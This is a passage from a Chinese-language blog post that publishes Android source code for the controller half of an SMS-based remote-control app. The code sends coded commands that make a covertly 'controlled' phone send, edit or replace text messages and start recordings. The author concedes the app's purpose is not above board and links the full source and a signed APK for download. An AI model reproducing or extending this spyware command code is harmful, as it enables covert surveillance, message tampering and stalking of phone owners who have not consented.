mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.start_record));
}
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mSendSmsBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
String str1 = mSmsNumberSetEditText.getText().toString().trim();
String str2 = mSmsContentEditText.getText().toString().trim();
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@sms" + "#" + str1 + "#" + str2,
null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mEditSmsBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
if(mClientNumber.equals("")){
Toast.makeText(SMSadminActivity.this, "目前未控制任何手機", Toast.LENGTH_SHORT).show();
return;
}
Intent it = new Intent(SMSadminActivity.this,EditSmsActivity.class);
startActivity(it);
}
});
}
}
這個是修改簡訊的activity:
package iceman.android.smsadmin;
import iceman.android.smsadmin.R;
import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class EditSmsActivity extends Activity {
private SmsManager mSmsManager = SmsManager.getDefault();
private EditText mSmsKey, mSmsNumber,mSmsContent;
private Button mReplaceBtn,mEditBtn;
private SharedPreferences mSharedpreferences = null;
private String mClientNumber;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.edit_sms_layout);
mSmsKey = (EditText) findViewById(R.id.key);
mSmsNumber = (EditText) findViewById(R.id.number);
mSmsContent = (EditText) findViewById(R.id.content);
mEditBtn = (Button) findViewById(R.id.edit);
mReplaceBtn = (Button) findViewById(R.id.repalce);
mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
mClientNumber = mSharedpreferences.getString("control", "");
mEditBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
String key = mSmsKey.getText().toString().trim();
String number = mSmsNumber.getText().toString().trim();
String content = mSmsContent.getText().toString().trim();
if(number.equals("")){
number = "00000000000";
}
if (key.equals("") == false && content.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
+ "#" +number +"#"+content, null, null);
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.edit_sms_send_over),
Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.please_set_key_and_content),
Toast.LENGTH_SHORT).show();
}
}
});
mReplaceBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
String key = mSmsKey.getText().toString().trim();
String number = mSmsNumber.getText().toString().trim();
String content = mSmsContent.getText().toString().trim();
if(number.equals("")){
number = "00000000000";
}
if (key.equals("") == false && content.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
+ "#" +number +"#"+content, null, null);
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.replace_sms_send_over),
Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.please_set_key_and_content),
Toast.LENGTH_SHORT).show();
}
}
});
}
}
因為核心功能是受控端,所以我就不上截圖了.各位下載程式碼看的話,可以盡情吐槽我的UI.哈哈哈
4.程式總結:
從程式角度來說,這不是一個好程式,不光是因為它的容錯性比較大(如果發到沒有安裝受控端的手機上,面對莫名其妙的簡訊,誰都會起疑心的),還因為軟體的目的是在算不上光明正大,秉著學習的態度將原始碼發上來,如果大家能夠看完之後有"不錯,挺好玩的"這樣一個念頭,相信我的目的就達到了.
其實這個程式還可以做到很多功能,利用android的api,MainReceiver中的擴充套件性還是很高的.曾經打算開發一個網路版的,不利用簡訊機制了,只是android手機使用者很多時候是關閉網路連線的,所以似乎實用性還不如簡訊版的.有興趣的人可以開發一個,以遠端桌面為名,將程式導向正確的方向,也是一個不錯的選擇.
附上原始碼及打包好的apk檔案,證照的密碼都是123456
http://files.cnblogs.com/feifei1010/SMSreceiver.rar
相關文章
- 基於 Node、WebSocket 的手機控制電腦例項Web
- 基於8266WIFI模組實現智慧手機與51微控制器的通訊入門WiFi
- 奇酷手機青春版如何群發簡訊 奇酷手機青春版群發簡訊教程
- SMS簡訊通API——(1)Java應用傳送手機簡訊APIJava
- 基於 Session 實現簡訊登入Session
- Flutter:基於video_player實現視訊相關手勢控制、全屏播放FlutterIDE
- 基於程式池的多程式伺服器通訊伺服器
- PostgreSQL 併發控制機制(3):基於時間戳的併發控制SQL時間戳
- 基於 ThinkPHP 呼叫阿里雲簡訊介面PHP阿里
- 基於LSM樹的儲存機制簡述
- 基於 WebSocket 的 PPT 遠端控制器簡單實現Web
- 高效簡易開發基於websocket 的通訊應用Web
- 阿里雲簡訊服務實現網站手機簡訊驗證碼阿里網站
- 來自於微信小程式的一封簡訊微信小程式
- java實現手機簡訊驗證全過程Java
- 夢網科技--手機簡訊驗證碼實現
- 蘋果手機使用技巧:iPhone簡訊過濾功能教程蘋果iPhone
- 基於TimeLine模型的訊息同步機制模型
- 基於 Lotus Expeditor on Device 的手機銀行交易開發dev
- 基於AVR的串列埠與PC機通訊程式碼(uart8位資料)VR串列埠
- ElasticSearch內部基於_version樂觀鎖控制機制Elasticsearch
- Android 程式設計下簡訊監聽在小米手機中失效的解決辦法Android程式設計
- 基於Python的簡單天氣爬蟲程式Python爬蟲
- 基於node的tcp客戶端和服務端的簡單通訊TCP客戶端服務端
- 樹莓派 - 實戰篇 [基於 websocket 實現手機遠端控制樹莓派小車]樹莓派Web
- 21_上機動手實戰演練基於_version進行樂觀鎖併發控制
- 基於long pull實現簡易的訊息系統參考
- 基於C#的通訊協議封包(附程式碼)C#協議
- Zact:兒童的智慧手機需要父母控制
- laravel passport 與手機簡訊登入結合的問題記錄LaravelPassport
- asp.net mvc簡單實現基於Razor的分頁控制元件ASP.NETMVC控制元件
- 一隻android簡訊控制馬的簡單分析Android
- 22_上機動手實戰演練基於external version進行樂觀鎖併發控制
- 蘋果手機怎麼設定簡訊黑名單?iPhone XR/XS Max簡訊黑名單設定教程蘋果iPhone
- 基於 HTML5 的 3D 飛機飛行軌道控制HTML3D
- HTML5呼叫手機發簡訊和打電話功能HTML
- 蘋果手機使用技巧:iPhone誤刪簡訊怎麼恢復?蘋果iPhone
- React基於RBAC的許可權控制React